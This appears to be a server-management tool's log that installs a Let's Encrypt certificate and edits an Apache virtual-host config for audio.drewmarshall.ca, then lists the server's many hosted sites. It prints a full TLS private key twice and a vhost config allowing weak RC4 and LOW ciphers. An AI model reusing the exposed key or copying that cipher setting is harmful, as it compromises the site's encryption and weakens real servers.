KGogf/9gEZaWTqeuXRFszL1YeL8Jf3EO1YKo06qF0EPFRZYia13wSS3lAzgJe2hW
vmhhAvKQqd6fzSqhQcaBQONyZ3hVnN1a1dBPPaX3JaKzxo0OVnWKWZ20bgaggoid
TWfdRD+bXBzZTGLSkQLJYHl2scrb31+EgCZSKBSfy9GodF9BAq5m8FFrHlH57oxv
DRxUf8eh4Dsi7RPHByiiuQStzomE3IKUbt5qYUh0wXti9SyVSE6rKZ+4IcF+ouYf
UNT22/0UtefERb3VTIMYmUu6ZgDfU1wn1sQ+zJDBkRm6eLeU1+kk8XCJfw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQC2VdaoXctxomw7
V5DTf9wxpJXGPSVC5lNG9CySDWyMWeSHuzUOXryLccMltqVLBaRwJv9bj8iGg9sQ
NOlTFvydcWaS+clj6a9Gk712ebm41o/7g0cfW+gR5/UfmDrR/w9c4gUfmtRAiyaV
KMTl8j3xAvjygGj1O3BTj1MVEvInnoolZ2//UL/M/46mzZ1GwTo9WpxfzIM63Yki
cQ8SxfYFFUPg9OflUzctHaPPex225ShWlEYNOfZ+C4zRqrR9UAZNXKg7sJqJptzq
OrW5oYPwDJh+oVhua/p9VDTgLMrk0hdYHchwOMmoUHY4cWmjfJ5BkS8EOePbaa3K
iko0XgTlAgMBAAECggEBAI0HQ6qiMXNJD7GufwQ3hxaWmInmTWW7RHpC7h5hZ63+
8XXSZK0itW6dpTUMWjj2ukNMxoIJai4w2kVkx3tO8kDMr2vK6+vtmXZbW1XBvNas
jl0ZIu+sZIlFAiFX21cFktpir1fMp5LsjgEcsX6xqRs7E1Zt38CeIrleyAIqz0W4
WBQdKSLyDua39pLSEo/2cE/Rf158F5NM7TOjwMHI8JrNYAlrsTnEAVZDvQ4cY26H
VtWu81aUqIMGiGDksf6kLFE/u4ohrtWtG3k8sWoVaLODzcyxgAuRRT8VnCLznDny
w4DyYOKCmxKjQwGtkLDwJHM9TQJLA3ZKbBSVA/OJhdkCgYEA8XpVO3pLe1r7hkvL
GN83HnMbzghOO76G1kToZIjhypqFZuWzcoC5AlbB6KN7vSiQo6w8reLY08NnfZ2X
k6PTBinQK0kSgsX2TvnSlODysRTHQRD0jBZAR/RXTjidYc/lbODVDB5dXTu4dIIh
5lUNz0PbLX0/DkZY1lrDVbXB38MCgYEAwUz6R9TZiuc/yptEQ+REUnFxFLPlehUt
t808m0dpHKPu/I1NQ06JUpzR3w9ipfZ2q+5xCvOF5XhvqRGle1BhuVtQYq09iUSq
J6stIy+TBdb5ve1KJuQZEVkGnyjZa/ubetz83uuCnGfqXm5XQhq5PjjchLIjvjaG
T04805WAJjcCgYEAzYnKGIk8zG+h3iqPYclFWkayKQnKxXGjxaf7gu87+T7TQ8VK
m7DTSRldjc3xmg14J8iIEZ4f3wfZBAPqrAFqsjlO9jkJZ4Rm5cwhIRXjnTTJcSmk
bcTWzCg/U9Y+p63UY3tv/BOwdpZJp+nIPwywZ3YjjjGoRVc9cJ7q2v6NWg8CgYEA
kYQZham+esrLQwLPySw2IroznpouzlDTMeLXFS4U+vKOHqFg4KJmzkIv2/QBF18K
xzOg9dWNnsmjhWs7YDGK37bWNPKluIhwb5x1Rl+yFltXdpsDj3N3S4/xZC+kPZ4T
1dI2qrowgP3ZeW0nUyQ6/5ReraZNMgxp35nOQJny9tECgYEAnmv4xlqClhc2QWcI
xyQuAMLhWm0PfPp1KVx8yldVH0BFp9Bq9OXJRyQ/bUrOeLEIQxAoB8FNT/QbdGnO
/4/sKjYv6TjDofzvcyjgUdooLxSSJ09pNe3wYV2lJ8fgta2blDsZm3TGhQYz5ufH
c8VBiDHxeRxxrQZqWVHbkYpeNtw=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-30 06:00:25:
chmod 755 /tmp/pkp968380; /tmp/pkp968380; rm /tmp/pkp968380
2025-09-30 06:00:25:
dir=/etc/ssl/certs
2025-09-30 06:00:25:
PUT: /tmp/pkp727498
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-30 06:00:25:
chmod 755 /tmp/pkp727498; /tmp/pkp727498; rm /tmp/pkp727498
2025-09-30 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 45
<VirtualHost *:80>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-30 06:00:25:
PUT: /tmp/pkp764532
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_audio_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf= 1'
fi
2025-09-30 06:00:25:
chmod 755 /tmp/pkp764532; /tmp/pkp764532; rm /tmp/pkp764532
2025-09-30 06:00:25:
2025-09-30 06:00:25:
PUT: /tmp/pkp965723
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-30 06:00:25:
chmod 755 /tmp/pkp965723; /tmp/pkp965723; rm /tmp/pkp965723
2025-09-30 06:00:25:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-30 06:00:25: Establishing a connection
2025-09-30 06:00:25:
PUT: /tmp/pkp901111
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-30 06:00:25:
chmod 755 /tmp/pkp901111; /tmp/pkp901111; rm /tmp/pkp901111
2025-09-30 06:00:25:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-30 06:00:25:
PUT: /tmp/pkp942037
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-30 06:00:25:
chmod 755 /tmp/pkp942037; /tmp/pkp942037; rm /tmp/pkp942037
2025-09-30 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 1238
<VirtualHost *:80>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-30 06:00:25:
PUT: /tmp/pkp938286
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-30 06:00:25:
chmod 755 /tmp/pkp938286; /tmp/pkp938286; rm /tmp/pkp938286
2025-09-30 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt 5372
4c:4c:3e:1d:c2:0f:7d:02:d4:9c:f0:e2:51:13:f6:34
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBsGeoszxCi+BF4FCGrJmih78MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTMwMDUwMTU0WhcNMjUxMjI5MDUwMTUzWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC2VdaoXctxomw7V5DTf9wxpJXGPSVC5lNG9CySDWyMWeSHuzUOXryL
ccMltqVLBaRwJv9bj8iGg9sQNOlTFvydcWaS+clj6a9Gk712ebm41o/7g0cfW+gR
5/UfmDrR/w9c4gUfmtRAiyaVKMTl8j3xAvjygGj1O3BTj1MVEvInnoolZ2//UL/M
/46mzZ1GwTo9WpxfzIM63YkicQ8SxfYFFUPg9OflUzctHaPPex225ShWlEYNOfZ+
C4zRqrR9UAZNXKg7sJqJptzqOrW5oYPwDJh+oVhua/p9VDTgLMrk0hdYHchwOMmo
UHY4cWmjfJ5BkS8EOePbaa3Kiko0XgTlAgMBAAGjggImMIICIjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFARIzj/LVDmyWY3C0CM532HyC1H7MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI1LmNybDCCAQQGCisGAQQB1nkCBAIE
gfUEgfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmZk1
MSgAAAQDAEcwRQIgNEymkX3vpmK7898jY4PQZ+XkTdz95IntA4XvM086znICIQDC
p0whyE0c8m5/RpJpY2oX4P8RG9wO1A4HaEqz9Y1ZTQB2AMz7D2qFcQll/pWbU87p
snwi6YVcDZeNtql+VMD+TA2wAAABmZk1MXgAAAQDAEcwRQIgUvu6A/kqABvfIxAO
h3XUIAEN/sqT0XTgMS7dtsMhXOsCIQDXgULDBiP2up7OBefDyNZD4eP53Wpz7Btn
Opod//MNQjANBgkqhkiG9w0BAQsFAAOCAQEApAb3RHbOMDAvNaRmK9F5rlElnYfU
KGogf/9gEZaWTqeuXRFszL1YeL8Jf3EO1YKo06qF0EPFRZYia13wSS3lAzgJe2hW
vmhhAvKQqd6fzSqhQcaBQONyZ3hVnN1a1dBPPaX3JaKzxo0OVnWKWZ20bgaggoid
TWfdRD+bXBzZTGLSkQLJYHl2scrb31+EgCZSKBSfy9GodF9BAq5m8FFrHlH57oxv
DRxUf8eh4Dsi7RPHByiiuQStzomE3IKUbt5qYUh0wXti9SyVSE6rKZ+4IcF+ouYf
UNT22/0UtefERb3VTIMYmUu6ZgDfU1wn1sQ+zJDBkRm6eLeU1+kk8XCJfw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQC2VdaoXctxomw7
V5DTf9wxpJXGPSVC5lNG9CySDWyMWeSHuzUOXryLccMltqVLBaRwJv9bj8iGg9sQ
NOlTFvydcWaS+clj6a9Gk712ebm41o/7g0cfW+gR5/UfmDrR/w9c4gUfmtRAiyaV
KMTl8j3xAvjygGj1O3BTj1MVEvInnoolZ2//UL/M/46mzZ1GwTo9WpxfzIM63Yki
cQ8SxfYFFUPg9OflUzctHaPPex225ShWlEYNOfZ+C4zRqrR9UAZNXKg7sJqJptzq
OrW5oYPwDJh+oVhua/p9VDTgLMrk0hdYHchwOMmoUHY4cWmjfJ5BkS8EOePbaa3K
iko0XgTlAgMBAAECggEBAI0HQ6qiMXNJD7GufwQ3hxaWmInmTWW7RHpC7h5hZ63+
8XXSZK0itW6dpTUMWjj2ukNMxoIJai4w2kVkx3tO8kDMr2vK6+vtmXZbW1XBvNas
jl0ZIu+sZIlFAiFX21cFktpir1fMp5LsjgEcsX6xqRs7E1Zt38CeIrleyAIqz0W4
WBQdKSLyDua39pLSEo/2cE/Rf158F5NM7TOjwMHI8JrNYAlrsTnEAVZDvQ4cY26H
VtWu81aUqIMGiGDksf6kLFE/u4ohrtWtG3k8sWoVaLODzcyxgAuRRT8VnCLznDny
w4DyYOKCmxKjQwGtkLDwJHM9TQJLA3ZKbBSVA/OJhdkCgYEA8XpVO3pLe1r7hkvL
GN83HnMbzghOO76G1kToZIjhypqFZuWzcoC5AlbB6KN7vSiQo6w8reLY08NnfZ2X
k6PTBinQK0kSgsX2TvnSlODysRTHQRD0jBZAR/RXTjidYc/lbODVDB5dXTu4dIIh
5lUNz0PbLX0/DkZY1lrDVbXB38MCgYEAwUz6R9TZiuc/yptEQ+REUnFxFLPlehUt
t808m0dpHKPu/I1NQ06JUpzR3w9ipfZ2q+5xCvOF5XhvqRGle1BhuVtQYq09iUSq
J6stIy+TBdb5ve1KJuQZEVkGnyjZa/ubetz83uuCnGfqXm5XQhq5PjjchLIjvjaG
T04805WAJjcCgYEAzYnKGIk8zG+h3iqPYclFWkayKQnKxXGjxaf7gu87+T7TQ8VK
m7DTSRldjc3xmg14J8iIEZ4f3wfZBAPqrAFqsjlO9jkJZ4Rm5cwhIRXjnTTJcSmk
bcTWzCg/U9Y+p63UY3tv/BOwdpZJp+nIPwywZ3YjjjGoRVc9cJ7q2v6NWg8CgYEA
kYQZham+esrLQwLPySw2IroznpouzlDTMeLXFS4U+vKOHqFg4KJmzkIv2/QBF18K
xzOg9dWNnsmjhWs7YDGK37bWNPKluIhwb5x1Rl+yFltXdpsDj3N3S4/xZC+kPZ4T
1dI2qrowgP3ZeW0nUyQ6/5ReraZNMgxp35nOQJny9tECgYEAnmv4xlqClhc2QWcI
xyQuAMLhWm0PfPp1KVx8yldVH0BFp9Bq9OXJRyQ/bUrOeLEIQxAoB8FNT/QbdGnO
/4/sKjYv6TjDofzvcyjgUdooLxSSJ09pNe3wYV2lJ8fgta2blDsZm3TGhQYz5ufH
c8VBiDHxeRxxrQZqWVHbkYpeNtw=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
